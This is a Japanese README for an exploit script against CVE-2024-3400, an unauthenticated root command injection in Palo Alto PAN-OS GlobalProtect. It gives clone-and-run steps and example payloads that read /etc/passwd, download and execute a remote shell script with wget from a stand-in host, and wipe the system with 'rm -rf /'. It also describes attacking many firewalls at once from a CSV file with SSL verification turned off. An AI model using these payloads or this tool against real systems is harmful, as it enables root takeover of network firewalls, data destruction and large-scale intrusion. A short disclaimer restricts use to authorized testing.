
CVE-2024-3400のエクスプロイトスクリプト。Palo Alto Networks PAN-OS GlobalProtectにおけるコマンドインジェクションの脆弱性で、認証なしでのルート権限によるリモートコード実行を可能にします。
このスクリプトは、PAN-OS ファイアウォールの脆弱性を悪用するデモを目的としています。特別に細工されたペイロードをファイアウォールのAPIエンドポイントに送信し、任意のコマンドを実行します。このエクスプロイトは、特定のPAN-OSバージョン向けのPalo Alto Networks PAN-OSソフトウェアのGlobalProtect機能におけるコマンドインジェクションの脆弱性であるCVE-2024-3400を標的にしています。特定の機能構成により、認証されていない攻撃者がファイアウォール上でroot権限で任意のコードを実行できる可能性があります。
注: このスクリプトは、法的かつ倫理的な目的でのみ、テストする許可を得たマシンでのみ使用してください。
このプロジェクトを使用するには、次の手順に従ってください:
git clone https://github.com/Yuvvi01/CVE-2024-3400
cd CVE-2024-3400
pip install -r requirements.txt
python3 exploit.py
プロンプトに従って、脆弱なPAN-OSファイアウォールのIPアドレスと実行するペイロードを入力します。
ls -la
cat /etc/passwd
whoami
wget http://example.com/malicious_script.sh -O /tmp/malicious_script.sh && chmod +x /tmp/malicious_script.sh && /tmp/malicious_script.sh
rm -rf /
スクリプトは、PAN-OSファイアウォールサーバーからSSL証明書のファイルパスを尋ねます。パスが指定されていない場合、スクリプトは自動的にSSL検証をfalseに設定し、実質的にSSLを無効にします。
このスクリプトを使用すると、CSVファイルを使って脆弱なPAN-OSファイアウォールの複数のターゲットを悪用できます。以下は、CSVファイルを正しくフォーマットするための手順です:
CSVファイルには3つの列が必要です:
ipaddress: 脆弱なPAN-OSファイアウォールのIPアドレス。 payload: ファイアウォール上で実行するペイロード。 path/to/root_CA_certificate.pem: ルートCA証明書へのパス(証明書検証が無効の場合は空白のままにします)。
ipaddress,payload,path/to/root_CA_certificate.pem
192.168.1.1,exploit_payload1,/path/to/certificate.pem
192.168.1.2,exploit_payload2,
指定された形式でCSVファイルを作成します。 IPアドレス、ペイロード、およびルートCA証明書のパス(該当する場合)を入力します。 ルートCA証明書への有効なパスを指定するか、証明書検証が無効の場合はフィールドを空白のままにしてください。 スクリプトを実行し、プロンプトが表示されたらCSVファイルを使用するオプションを選択します。